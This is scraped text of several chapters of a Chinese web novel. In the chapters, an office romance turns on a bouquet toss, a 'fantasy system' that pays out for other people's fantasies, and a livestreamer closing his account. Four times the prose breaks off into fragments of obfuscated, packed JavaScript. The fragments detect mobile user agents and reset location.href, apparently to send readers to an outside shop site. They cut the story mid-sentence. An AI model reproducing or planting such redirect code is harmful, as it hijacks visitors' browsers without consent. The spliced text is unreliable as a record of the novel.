l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238542|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迦的视线在她身上停了一秒。 她站在那里,长裙线条干净,头发松松挽着,脸上没有任何的期待。 她的表情甚至称不上紧张,更像是被拉进一个不在计划内的场景里,皱着眉。 可身体却也没有真的抗拒。 ——难道,她信? 司仪开始倒数。 “准备——三、二、一!” 新娘转身。 捧花脱手的瞬间,场面甚至有点冷清。 花束在空中划出一道并不算高的弧线。 程迦几乎是下意识地站直了身体。 因为下一秒—— 那束花,竟然直直地,朝着许知微的方向飞了过去。 很准。 准得像命中注定。 周围甚至有人发出一声短促的惊呼。 程迦的心,在那一刻猛地提了一下。 他忽然荒谬地相信了那个传说。 也许冥冥之中真的有什么指引,也许这支花就该落进她怀里,也许这真的是某种命中注定。 ——好,如果她真的拿到那花,就证明,十三年,自己等到了。 ——她也终于想成家了。 ——对啊,不然怎么解释她最近对自己反复的态度? ——当科学解释不了的,就交给玄学吧。 这个念头让他屏住了呼吸,视线紧紧锁在那束花上,仿佛只要它落到她手中,某种无法言说的未来就会因此被敲定。 可还没等这微弱的希冀成形,他却看见许知微抬起了手。 反手。 一个极其利落的动作。 捧花被她直接拍了出去。 力道不小。 花束在空中偏转了方向,失去原本的轨迹,甚至转了个不太优雅的角度。 然后—— 它飞向了台下。 飞向了……自己这边! 心跳声冲向耳膜。 ——难道,真的是命运眷恋自己了? ——等了十三年,也终于等到了自己的机会? 咚咚咚 心跳加速,手不自觉抬了起来准备接受命运的馈赠。 ——不对,这馈赠得有些偏移。 ——偏向左边, ——是顾呈那边! 程迦立刻心里涌起一股强烈的不甘。 ——不可以! 抗拒的情绪甚至盖过了理智,让他胸口发闷。 他知道自己不该动,这太荒唐,太引人注目,太不符合他一贯的行事准则。 可当那束花越过半张桌子,即将坠入顾呈怀里的前一刻—— 程迦的身体(跟胆量),已经比脑子更快地站了起来。 动作迅猛,甚至带着一股他自己都未曾察觉的、近乎抢夺的力道。 他几乎是撞开椅子,伸长了手臂,在花束即将触碰到顾呈手指的前一秒,将它死死攥进了掌心。 动作完成的那一刹那,他才意识到自己做了什么。 太快了。 快到桌上的水杯被他的动作带倒,玻璃倾覆,水沿着桌布边缘泼洒下来,冰冷的液体顺着他西裤的布料一路蔓延,浸透了皮肤。 可他已经顾不上这股凉意。 因为整个宴会厅骤然安静了一瞬。 连司仪都愣住了。 新娘捂着嘴,眼睛瞪得溜圆。 林芮的下巴几乎要掉下来,满脸写着“卧槽这也行”。 顾呈站在原地,表情明显怔住,伸到一半的手悬在空中,显得有些突兀。 而许知微—— 程迦根本不敢去看她。 他僵在原地,手里还紧紧攥着那束沾着水珠的捧花,湿透的裤腿贴着皮肤,冰凉刺骨。 四面八方投来的视线像探照灯,将他钉在这场荒诞戏码的正中央。 他不知道自己脸上是什么表情。 他只知道—— 完了。 32. 疑惑 一个是被欲望冒犯。 婚礼后的第三天,许知微的手机又震了一下。 她正在开会,PPT停在风险项与缓解方案,正用最平静的语气讲预计影响可控。 手机屏幕亮起,上方弹出一条微信预览。 林芮:【今天表白没?】 许知微连眼皮都没抬一下,手指在桌下把手机按灭。 继续讲。 继续把所有变量、指标、概率、兜底,提前考虑周全,预警所有可能的变故。 她在公司最擅长这件事,,让任何混乱都显得可控。 只是会议结束,她收拾电脑时,才后知后觉地发现自己手心有点潮。 她熟悉的节奏被打断了,因为林芮这种孜孜不倦的追问。 上一次这样的追问出现,是很多年前,高考刚结束那段时间。 那时候她和顾呈第一次出去约会,严格来说甚至算不上约会:一杯奶茶,两小时晚饭,一场电影,外加回程路上讨论大学选课该怎么规划。 回到家,林芮的消息就像定时轰炸。 【怎么样怎么样?】 【牵手了吗?】 【他有没有说喜欢你?】 【你们现在算不算在一起了?】 那种兴奋,比约会本人还激动。 而她那时候也像现在这样,回得很慢,甚至不回,因为她不能说。 那时候不能说的,是因为她已经在系统里见过顾呈对她的幻想。 太直接,太粗鲁,太像把她当成某种可以随意占有的物件。 那也是她第一次知道,原来一个人在现实里多温和,到了幻想里也可能完全是另一张脸。 她不喜欢,甚至有点恶心。 所以她把自己的小心思吞回去,把自己的喜欢也吞回去,把林芮劝的你们应该在一起的结论当成耳旁风。 只是简单地对林芮说:【还行。】 再说:【别问了。】 没有解释。 解释只会引发更多追问,而她当时最不想做的,就是让这个破系统打扰自己的生活。 现在,那样的林芮又回来了。 像时光绕了一个圈,把同样的台词、同样的语气、同样的热情,换了一个男人的名字,又一次砸到她面前。 手机震动再起。 林芮:【我跟你说你别装死。】 林芮:【他那天抢捧花!!那不是喜欢是什么!!】 林芮:【今天呢?今天有没有对你说什么?】 许知微收拾好东西,跑在回家的路上,路灯一盏盏往后退。 她想着那三条消息,忽然有点恍惚。 林芮的执着,还是和当年一模一样。 一样到她甚至能想象林芮此刻的表情:眼睛亮着,抱着手机趴在床上,像在追一部她必须看到大结局的连续剧。 许知微停下脚步,下定了决心,拿出手机,打字。 【没有。】 过了一会儿,她又补了一句,像是为了给出一个合理解释。 【他最近对我挺正常的。】 刚发出去,林芮的消息秒到。 林芮:【正常?】 林芮:【你说谁正常?你们程总?】 林芮:【微微,你是不是傻,他那种人要是真对你没那个意思,就不会去抢捧花了!】 许知微把手机扣会卫衣兜,闭了闭眼,深吸口气,又跑了起来。 她其实很想回一句:你别追问了。 很想说:她也觉得程迦的有些行为确实可疑,可是她确信,他喜欢的,确实不是自己。 可她也同样知道,她不能这么回。 不能说的原因,跟当年不同,却同样是因为系统。 当年她不能说,是因为她看到了顾呈的幻想,觉得不舒服,所以主动止损。 现在她不能说,是因为她什么都没看到,自己的被幻想记录里,没有程迦。 这件事比任何表白、任何抢捧花、任何暧昧举动都更能说明问题:他的欲望投射不在她身上。哪怕现实里出现了变量,系统里也依旧是一片空白。 空白意味着什么? 意味着她在他最私密的生理欲望那里,是不存在的。 所以她只能像当年一样,把“我们不可能”压成一句最安全的话。 ——对。 ——他不可能喜欢我。 ——他不是有一个喜欢的人么? 想到这里的许知微,又停下了脚步,掏出手机,像是反驳林芮,又像是说服自己。 【他上次不是说了么,他有喜欢的人。】 这条消息发出去,她停顿了一下,补上更合理的那句: 【喜欢了十几年。】 林芮那边果然又炸了。 林芮:【这你也信???】 林芮:【肯定是他为了刺激你吃醋,瞎说的!!!】 林芮:【信我,那个十几年绝对是胡诌的!!】 林芮:【而且微微,男人要是对你没意思,他跟你讲这种干嘛?】 许知微看着屏幕,指尖轻轻摩挲手机边缘。 ——也有一定的道理。 如果没有系统,她或许也跟林芮一个反应。 ——可是,人会说谎。 也对,她跟林芮如此亲密,也会对她隐瞒系统的事。 就像现在,她不能告诉林芮:顾呈在幻想里让我不舒服。也不能告诉林芮:程迦在幻想里根本没有我。 所以她又回了盖章定论的字,发完就把手机丢进背包里,故意躲开林芮的消息。 【信我,他不喜欢我。】 林芮:【绝对不信!!!】 林芮:【要不要打赌?他迟早要表白!】 林芮:【顾呈的事儿,你当时就没听我的,也不跟我分享,错过了吧?】 林芮:【这个真的可以有!想想之前欺负你的周扒皮,现在被你迷的神魂颠倒。爽文啊!】 许知微没有看见。 一直到进了电梯,电梯镜面映出她的脸,疲惫中带着恍惚。 莫名的,她又纠结起了林芮的话,突然意识到,自己这两次对林芮撒谎,其实是一种更残忍的对照。 当年对顾呈,她退,是因为看清了他会怎样想要她。 而现在对程迦,她退,是因为看清了他根本不会想要她。 一个是被欲望冒犯。 一个是被欲望忽略。 ——系统,还真是自己脱单路上的绊脚石啊。 她自嘲地笑了笑。 终于,她回到家门口,门开的那刻,心口忽然有点闷。 ——自己为了赚程迦幻想值才砸重金搬来这个高档公寓。 ——现在自己啥都没捞着。 ——还差点搭进去一分真心。 ——没关系。 ——保持清醒就行。 —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244513|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赚钱嘛,有别的法子。 ——别搭上自己的感情就行。 * 一个月后的周六晚上。 许知微关掉直播后台,整个人泄了力般往椅背一靠,长长呼出一口气。 半小时。 仅仅半小时,连平台又直接给她掐断了。 太收敛了,没人气,没幻想值。 不收敛吧,有人气,有幻想值,但天天被限。 ——好难啊! ——用这个破系统赚钱好难啊! “行吧。”她对着黑屏幕,没什么情绪地低语,“看来平台今天心情比我还差。” 为了在系统外挂失效前的最后两天多攒点幻想数,她早已习惯了这种反复被封又解封。 封号、申诉、短暂解封、再次被封,像一场她与无形规则之间枯燥的拉锯战。 系统在冷静记录每一份被激发的幻想值,平台在机械执行它的审核规则,而她,只是一个在夹缝里,精密计算着如何既撩动人心又不越雷池的操盘手。 有些厌烦地拿起手机,本意只是机械性地滑动,打发掉这被迫中断工作的空白时间。 指尖无意识地下划,眼神却骤然定住。 那个熟悉到刺眼的头像,跳入视线。 走leetcode。 正在直播。 这一个月,她取消了他的直播提醒,错开时间直播,没想到,还没碰个正着。 她下意识瞥了眼屏幕右上角的时间,十点四十八。 “……今天抽什么风。”近乎呢喃的自语里,带着一丝自己都未察觉的在意。 ——他之前开播,可没这么积极。 点进去之前,她脑中已自动播放起熟悉的画面:松散微开的衬衫领口,刻意调暗营造氛围的灯光,压低到近乎气声的嗓音,还有那些看似运动、实则勾人的停顿。 那是她认识的夜晚的程迦,一个深谙如何用禁欲表象撩拨欲望的熟练手。 然而,加载完成的画面,让她有些疑惑。 完全不是预想中的模样。 带着面具的程迦,今天穿得异常严实。 高领毛衣裹到下巴,深色外套一丝不苟,连袖口都扣得严密。灯光是明亮到近乎无情的冷白色,将他的轮廓照得清晰而疏离,背景干净得像某种专业讲座的现场。 ——什么情况? ——从运动区转型做知识区了? ——被平台盯上彻底从良? ——还是单纯今天没那份营业的心情? 直播间人气却反常地高,弹幕密密麻麻飞掠而过,快得几乎看不清内容。 一股说不清是职业习惯还是别的什么催生的评估欲升起。 ——这数据,有点太好了吧? 正当那股微妙的同行相轻的挑剔感混合着说不清的烦闷往上冒,让她手指悬在退出键上时,他的声音,透过耳机传了过来。 “微微。” 没有平日里那种经过修饰的、带着明确直播目的的低沉气声,反而是更自然,更随性的一种语调,甚至压得有些低,像在对着某个特定的人耳语。 她的指尖,颤了一下,悬停在屏幕上方。 ——他……在叫谁? 弹幕仿佛也因为这声突兀的呼唤,凝滞了一瞬。 紧接着,他的声音再次响起,平静,却带着一种不容错辨的指向性。 “还要点定制么?” 33. 到期 他怕她看过来。 婚礼之后的一个月,程迦开始刻意避开许知微。 那不是策略性的退让,亦非理智评估后的降温,那是一种更难以启齿的羞赧。 他努力十几年,成为了优雅的白天鹅,结果那天竟然暴露本性,在众目睽睽之下,打翻水杯,湿了裤腿,像一头被本能驱使完全失控的困兽,扑向那束代表下一个结婚的荒谬象征。 那一刻,理智是缺席的,身体先于一切替他做出了选择,而这选择暴露他那点可怜又不敢言说的渴望,那癞蛤蟆想吃天鹅肉的渴望。 他甚至不敢去看许知微当时的表情。 他怕她嘲笑,他更怕她那礼貌的错愕一瞬,随即迅速收拾好情绪,将那荒诞一幕归类为意外事件,轻轻揭过。 那比任何嘲讽都更残忍。 那意味着,他的失控,他的孤注一掷,在她那里,掀不起半点属于心动的涟漪。 不过是一场令人稍感尴尬的插曲。 所以,从第二天起,他在公司里开始了跟许知微的错位行走。 她走进茶水间,他立刻转身走向洗手间。 她站在打印机旁,他宁可绕行半个办公区。 电梯门开,她在里面,他便低头紧盯手机屏幕,仿佛信号即将中断。 有几次,他甚至已经走入她的视野边缘,却在她抬眼的瞬间,仓皇后退,闪入拐角的阴影。 动作快得近乎狼狈。 他知道这不像自己。 更知道这欲盖弥彰的回避,只会让一切显得更加可疑。 可他控制不了。 他怕她看过来。 更怕她没看过来。 若她真的没有追上来,没有探寻的目光,没有试探的询问,甚至连一丝“你最近怎么了”的疑惑都没有。 若她只是如常工作,如常下班,如常维持着那份恰到好处的距离,仿佛那场婚礼,从头到尾都只是他一个人兵荒马乱的事故现场。 他又该,如何自我安慰? * 只有到了夜晚,他回到那个只属于他和系统的安全屋。 灯光亮起,房间安静得像一个茧。他躺在床上,启动神游。 熟悉的流程,熟悉的界面,熟悉的她。 系统允许的上限被迅速消耗殆尽,他沉溺其中,几乎是贪婪地反复调用、回放、咀嚼每一个细节。 可每一次神游结束,那种被掏空的感觉来得比以往任何时候都更迅猛,那种被透支后的、更深重的落空。 他盯着苍白的天花板,一个冰冷的念头缓缓浮出水面:她真的很久都没有再幻想过他了。 哪怕是作为“走leetcode”这个曾经她最喜欢的主播。 是因为知道“走leetcode”就是自己了以后,就没再幻想过么? 他程迦,就如此让她感到兴致阑珊么? 可为什么,他又会产生,她喜欢自己的错觉呢? 那些微妙的试探,偶尔越界的玩笑,电梯里那句“是不是喜欢我”,难道都是错觉? 可若真喜欢自己,为什么她的幻想,却停滞不前? 最初他还能自我安慰,是因为他在旧金山那次拒绝承认自己的喜欢,伤了她的心。 可后来,他主动靠近她。 参与她的社交圈。 陈述自己十几年的喜欢。 怎么她反而离得更远了? 难道,她反感自己这自作多情的深情? 胸口忽然被无形的重量死死压住,呼吸都带着钝痛。 就在这时,系统提示音,毫无预兆地响起一条通知: 【提醒:幻想系统将于明日到期。】 【请注意查收未结算收益。】 程迦一愣。 ——到期? 这个词在他脑中迟钝地转了一圈,才与某个被遗忘已久的时间点对上。 他想起来了。 这个系统,是在他二十岁生日那天凭空出现的,没有缘由,像一份从天而降的生日礼物。 而现在。 他即将三十岁。 十年。 系统的使用时间,就是十年。 他下意识地翻看记录,确认时间线,确认那所剩无几的权限。 明天。 过了明天,他就再也无法通过神游,潜入她的幻想。 再也无法借由这层虚幻的屏障,纾解那些无法言说的焦灼与渴望。 再也无法在夜深人静时,偷偷验证至少在某个不为人知的维度里,她是需要他的,哪怕只是作为幻想的客体。 这个认知本该引发恐慌。 可奇怪的是,他并未感到预想中的慌乱。 他只是盯着许知微的幻想记录,出神。 然后,一种近乎自嘲的平静,慢慢从心底渗出来。 这十年,系统像一条被严格限流的暗河。 让他在现实中寸步难行时,至少还有一个可供短暂栖息的幽暗出口。 现在,出口即将关闭。 而现实中,他依旧站在她触手可及却遥不可及的身旁。 这十年来,他赖以维持表面平静、说服自己尚有余地的,从来不是系统本身。 而是“她竟然幻想他”这个事实。 一旦连这最后的凭证都消失,他就再也无法欺骗自己:只要他努力朝着她幻想的样子去迎合,她就有可能会喜欢上自己。 * 程迦还是开了那场直播,标题只有一个字—— 【走】 他盯着那个字,忽然觉得有些微妙,迦,拆开便是“走力口”。 当初随手取了这个名字,像一句无心谶语。 或许,她就是这样猜到他的? 根本就不是什么多年细致入微的观察? 这么多年来,这场梦里,有,且只有,他一个人。 这个念头让他心口微微发烫,指尖已不自觉地点下了开始直播。 ——她会来吗? ——知道了自己就是“走leetcode”,她还会在意这个即将消失的账号吗? 镜头亮起的瞬间,他下意识地瞥了一眼画面里的自己。 穿得异常严实。 高领毛衣裹住脖颈,深色外套一丝不苟,灯光是毫无修饰的冷白色,清晰到近乎无情地照亮每一寸轮廓。 不像“走leetcode”。 倒像程迦本人,褪去了所有虚拟的伪装,站在这里。 这个认知让他心里掠过一丝不合时宜的遗憾。 他一直以为,自己对这层外壳毫无留恋,它只是工具,是面具,是赋予他的一块遮羞布。 可当真正要亲手摘下时,他才发现,原来还是会舍不得。 观众陆续进来,没有爆发式的增长,但那些眼熟的ID,一个接一个地亮起。 【??今天这么正经】 【主播这是要转型?】 【不运动了?那我新买的运动服算什么?】 他扫过这些弹幕,忽然很轻地笑了一下。 “谢谢大家的支持。”他开口,语气平稳得没有一丝波澜,“感谢你们这些年看我的直播,哪怕……没花钱。” 弹幕立刻骚动起来。 【???】 【那我白来了】 【白嫖党今天要被清算了吗】 他连忙摇了摇头。 “不是。” 他停顿了一下,像是在寻找一个合适的词。 “我就是想说声谢谢。” 可弹幕不买账。 【主播还是不说话的时候好。】 【是啊,平时偶尔也说话,但没这么阴阳怪气的。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252631|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【哎呀。人家也是要赚钱的,吐槽两句白嫖党怎么了?】 “这账号开了挺久。”他忽略弹幕,继续说到,声音低沉,“你们能一直来,我很感激。” “老粉丝,哪怕没花钱,”他说得很自然,目光扫过那些熟悉的ID,“我都记得。” 弹幕里却有人开始刷: 【还没阴阳够呢?】 【白嫖粉挨骂现场】 【懂了,督促我们花钱】 他愣了一下,随即意识到自己被误解了。 他没有解释,一如既往,只是自言自语地微弱补了一句: “我不是那个意思。” 声音带着一丝不易察觉的涩意。 他心里再清楚不过,如果没有这些人日复一日的白看,他根本无法赚到那么多幻想值,作为公司的融资。 这些沉默的观看,是他所有计算的基石。 但这些话,他的嘴,永远词不达意。 “总之。”他抬起眼,直视镜头,“今天播完,就不播了。” 弹幕终于开始混乱。 【????】 【什么意思】 【账号要封了?】 【真的假的】 他点了点头,动作很轻,却带着不容置疑的决绝。 “账号会注销。” “之后也不会再开。” 他说这话时,语气平稳得连自己都感到意外,仿佛不是在告别一个陪伴多年的身份。 可他的目光,却不受控制地扫向在线列表。 依旧在找一个名字。 微微不微。 没有。 心里那点不敢声张的期待,悄无声息地沉了下去。 ——也是。 ——她早已不再幻想他,甚至都不来直播了,又怎么会来这场注定散场的直播。 他把视线收回,指尖悬在结束直播的按钮上方。 “就这样吧。”他说,声音里听不出情绪,“谢谢大家。” 就在这时,直播间提示悄无声息地跳了出来。 【微微不微进入直播间】 程迦的动作,骤然停住,那准备按下的力道,在最后一刻被无形的丝线拽住,悬在了半空。 弹幕还在滚动。 她却一言不发。 ——她,是不是像过去那样,一进来就直奔主题地点下定制? 他赶紧滑动鼠标,给她开通了单独的定制服务。 可过了一会儿,没有收到任何订单。 ——没钱了么? 程迦盯着那个ID,突然意识到,这大概是他们以“走leetcode”和“微微不微”的身份,最后一次同处一个时空。 他应该视而不见,直接下播,让一切体面地终结于沉默。 可不知为什么,一股强烈的不甘混着隐秘的渴望涌了上来。 他,想要满足她的愿望。 以程迦身份满足不了的,他最后一次,可以以“走leetcode”的身份满足。 他轻声开口,声音比平时更低,也更真实,剥去了所有表演的痕迹。 “微微。” “还要点定制么?” 他说得很自然,像在提醒一个老主顾别忘了最后的福利。 “这次免费。” 他顿了顿,喉结轻微滚动。 “因为之后不播了。” “如果你要定制的话,”他听见自己的声音在安静的房间里显得异常清晰,“直接打字就行。” 他说完,移开了视线。 仿佛这句邀请,只是出于最后的礼貌,是他能为这段扭曲关系画下的唯一还算圆满的句点。 可随后,他又低声补了最后一句,像在安抚她,也像在安抚那个屏息等待的自己。 “我等。” 34. 推测 许知微盯着屏幕许久,才迟缓地意识到一件事。 这是最后一场。 而那句“微微”也并非唤她许知微,那只是“微微不微”的前两个字,一个他眼熟的网名,一个属于打赏金主的代号。 这个认知落下来的瞬间,心里那根因他反常语气而悄然绷紧的弦,反而轻轻一松。 ——果然。 ——他不是在对自己说话,只是在对一个老粉丝的ID,赠送的福利。 ——对,只是一个主播,对一个沉默已久的金主,例行公事的告别。 她慢慢吐出一口气,指尖悬在键盘上方。 他说送她一个免费的定制,免费的东西,不要白不要。 可此刻,她脑子里一片空白,不是出于迟疑。 ——让他做什么好呢? ——像从前那样,点些解气又恶作剧的指令? ——还是像最初,带着试探意味地触碰他的界限? ——都不合适了。 ——在一场注定散场的筵席上,再多纠缠,只会显得刻意拖延又多余。 所以她没有定制。 只是随着本心,在键盘上敲下一行字。 【为什么不播了?】 发出去的瞬间,她自己都怔了一下。 ——他为什么退播,跟自己有什么关系? ——在意么? 但滚动的弹幕早已将它淹没,混在无数相似的疑问里,显得毫不起眼。 果然,程迦好似没有看到般,没有回答。 只是镜头里,他的目光似乎在某处停留了一瞬,像是在看弹幕,又像是穿过屏幕,看向了更虚无的远方。 过了一会儿,他轻轻说了四个字。 “没必要了。” 语气平静,没有波澜,也没有任何多余的注解。 许知微蹙起眉。 ——没必要? ——什么没必要? ——靠直播赚钱? ——渴望被关注? ——还是渴望被喜欢的感觉? 她没来得及理清这个念头,弹幕里另一个老粉已抛出了另一个问题。 【老弟多大了?】 这次程迦倒是答得很快。 “明天三十。” 弹幕瞬间炸开。 【???????】 【我一直以为你二十来岁】 【被动小奶狗人设崩塌】 【这体魄三十了???】 【不是说男人过了二十五,就五十了么???】 【成熟老男人配上小奶狗身材,更香了!】 【怪不得这么会,老手啊。】 她盯着那些飞速掠过的字句,心里忽然泛起一种奇异的错位感。 是啊,程迦都三十了。 她第一次刷到他时,他才二十三吧? 原来,在她某些失眠或疲惫的深夜里,程迦作为这个无声的“走leetcode”,已经陪她走过了七年。 七年的时间,竟然过得这么快。 也不知那个他喜欢了十三年的人,对他的喜欢,有什么样的感觉? 镜头里的他,褪去了往日刻意营造的氛围感,反而显露出程迦的一面:冷静,清晰,连道别都显得克制得体。 直播似乎回归了某种安全的轨道,走向尾声。 弹幕里有人问他怎么保持身材。 他说,规律运动,没什么秘诀。 有人问他平时怎么锻炼。 他说,跑步、力量,按计划来。 都是再普通不过的问答,普通到让她有些恍惚,仿佛刚才那场关于终结的宣告,只是她一个人听见的回声。 时间无声滑向十一点。 弹幕还在刷着“不要走”“下次见”。 可她清楚,没有下次了。 程迦就是这样一个人,从不轻易宣布任何事,但一宣布,就是最后定论。 十一点零三分。 屏幕里的带着面具的他,看了一眼时间。 “就到这吧。” 这很程迦,没有煽情,没有回顾,然后画面骤然一暗。 直播结束。 屏幕归于一片纯粹的黑。 可许知微不知为何,没有立刻退出。 手机静静躺在掌心,漆黑的屏幕倒映出她模糊的轮廓。 她忽然发现,自己并没有想象中的豁达。 虽然也不算难过,但心里却有一种更复杂的、难以命名的情绪。 像刚出门,便听见身后门锁轻轻合上的声音。你不用确认那扇门是否真的关上了,却清楚地知道,你根本没带钥匙。 或者说,从未拥有过钥匙。 “没必要了。” 她在心里无声地重复了一遍。 ——他到底是对什么没必要? ——对观众? ——对这个经营十年的账号? ——还是对她这种花过钱的金主? 许知微不知道。只觉得这个没有答案的问题,激起的涟漪,一圈,又一圈,缓慢地扩散开来,久久不散。 屏幕依旧漆黑。 她依旧迟迟没有按下退出键。 * 半小时后。 许知微躺在床上,望着天花板发呆。 房间里安静得只剩下自己的呼吸声,均匀,绵长,却无法驱散思绪里顽固的残影。 “走leetcode”告别直播的画面,像褪色的默片在眼底反复放映。 冷白刺眼的灯光,裹到下颌的深色高领毛衣,还有他最后那句平静得像最终宣判的:“没必要了”。 程迦注销了账号。 就在下播后五分钟。 动作快得像撕掉一张作废的草稿,干脆利落,不带一丝留恋,和他平时在公司一锤定音的样子如出一辙。 所以,没必要,就是他做出这个决定的全部理由。 可为什么之前就有必要了呢? 这个念头像个没拧紧的水龙头,在她脑海里滴答作响,停不下来。 仔细想想,一个有喜欢了十三年的人的男人,为什么会选择做擦边主播? 她从前以为是纯粹的欲望驱使,是某种隐秘的补偿,甚至是扭曲的宣泄。 但程迦看起来又不像。 他那么克制,几乎到了苛刻的地步。 连诉说那场漫长的喜欢时,语气都平静得像在陈述客观事实,不需要任何回应。 那他做主播,也是为了让那个人看见吗? 用这种方式,吸引那个人的注意? 或者,是在用一种近乎自毁的方式,宣泄某种得不到回应的苦闷? 如果是这样,那他现在的注销,又算什么? 是终于得偿所愿,所以彻底退场? 是及时止损,结束一场无望的表演? 还是因为那个人终于回到了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256208|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边,所以他再也不需要这个虚拟的出口,再也不需要任何人的目光了? 许知微烦躁地翻了个身,伸手去够被子,想把自己整个蒙住,隔绝这些没完没了的推演。 或许,连婚礼上那场失控的抢捧花,也是这个原因。 对啊,这样就都说得通了。 一切突兀的行为都有了合理的解释,不过是一个男人,在为他的白月光清扫过往,准备迎接真正的结局。 什么为了她抢花。 林芮那些言情小说般的揣测,果然离谱得可笑。 一股细微却清晰的失落感,像冰凉的丝线,悄无声息地缠上心口。 许知微皱了皱眉,手指攥紧了被角,强迫自己把这股不合时宜的情绪压下去。 ——睡觉。 ——别想了。 ——别人的故事,你在这儿演什么独角戏呢。 可她刚阖上眼,主控的声音,毫无预兆地跳了出来,冰冷而机械。 【提醒。】 【你的幻想系统剩余有效期:2天。】 许知微“嗯”了一声,敷衍得连睫毛都没动一下。 【当前累计收益:¥29,842。】 【建议:剩余有效期内提升直播频率,否则幻想值转化将显著下降。】 “知道了。”她把脸更深地埋进枕头,声音闷闷的。 ——好烦。 ——账号要解封,要是想多赚点外快,最后两天是关键。 ——可就是提不起劲。 ——这可是赚钱诶?! ——她这是咋啦?怎么会对赚钱提不起精神? 许知微蜷缩起来,手指抠着枕套边缘细腻的绣线,一下,又一下。 就在她几乎要被这懈怠的思绪拖入疲惫的漩涡时,主控的声音,再一次响起。 这一次,比刚才更短促,更生硬,尖锐地划破了寂静。 【提示:收到幻想输入。】 许知微连眼睛都没睁,含糊地咕哝:“……不是设了静音么。” 主控没有理会她的抱怨,直接将来源信息,弹射到她的意识界面。 【来源:程迦。】 她猛地睁开了眼睛。 瞳孔在黑暗中骤然收缩,心跳漏了不止一拍。 ——程迦? ——怎么可能? ——不可能! ——他刚刚注销了账号,刚刚亲口说了没必要了。 ——他怎么可能,怎么偏偏,在这个时间点,向自己投射幻想? 下一秒—— 【价值结算中……】 【到账金额:¥213,746。】 “啊?” 许知微几乎是弹坐起来,被子从肩头滑落,冷空气瞬间侵袭,她却毫无所觉。 眼睛死死盯着空中那行闪烁着刺目光芒的数字。 ——二十多万。 ——整整二十多万! 她脑子嗡地一声,变成一片彻底的空白,她甚至忘了去点那个确认按钮,只是僵在那里,呼吸停滞。 后知后觉地以为,这荒谬的一切可能是系统故障,或者是一场过于逼真的梦。 几秒的死寂后,她终于平复了所有潮水般涌上来的荒谬与不真实,理性地确认了,这就是程迦方才对她的幻想收益。 一声短促、失控、完全不像她自己的惊叫,冲破了喉咙。 “啊????!!!!!” 35. 意外 不再是她在幻想他。 程迦几乎是彻夜未眠。 不是因为辗转反侧的混沌,而是一种异常的清醒。身体平躺,双目紧闭,意识却在黑暗中高速运转,像一台无法关机的服务器,反复解析着同一行代码。 她那句【为什么不播了?】在他脑海里循环播放。 ——许知微她为什么要问? 第一反应,竟是某种不合时宜的、近乎可笑的期待。 ——她是不是……舍不得? 但这个念头刚冒芽,就被他亲手掐灭。 ——不可能。 她知道“走leetcode”就是他本人,知道他的门牌号,甚至,与他仅有一墙之隔。 如果仅仅是舍不得退播后看不到,她大可以推开那扇门。 所以她在意的,绝不是告别直播的自己。 ——那她在意的是什么? ——是“走leetcode”这个身份本身? ——是那个被他精心雕琢出来的迎合她喜好的版本? 这个推测让他心口陡然一沉。 可“走leetcode”难道不是他吗? 明明是同一具躯体,同一副灵魂,同一个脸。 ——恩? ——脸? 一个荒诞的念头,毫无预兆地浮了上来。 除非,她喜欢的是那具被氛围包装的身体。 而她讨厌的,是他这张脸,是他现实里这个名为程迦的存在。 这是他最不愿意相信的解释。 可它偏偏能解释一切:解释她为何在直播间挥金如土,在现实里却分寸必较;解释她那些若即若离的试探,为何总在临界点戛然而止;解释她为何会对“走leetcode”的告别产生反应,却对“程迦”的靠近视若无睹。 她不需要一个完整的人。 她只需要一个安全的、可供投射的符号,一个随时可以关闭的欲望窗口。 程迦猛地坐起,赤脚踩在地板上,动作有些急迫。 他走进浴室,啪地打开顶灯。 冷白光线瞬间将他笼罩,镜中的人影毫无遮掩。 他死死盯着那张脸。 眉骨、眼窝、鼻梁、下颌线。 他逐帧审视,像在评估一件即将失去价值的商品。 ——这里么? 他抬手,指腹轻轻按在眼尾。 ——是不是……有了细纹? ——或许就是因为皱纹,那是岁月沉淀下来的、唯有周围的人才能觉察的疲惫感。 ——那是二十多岁运动主播的脸上绝不会有。 他侧过脸,绷紧下颌。 线条还在,没有松垮。 ——怎么她就这么讨厌这张脸么? 他撩起衣服,仔细审视了自己的腹肌。 薄腹,八块,是她梦里的样子。 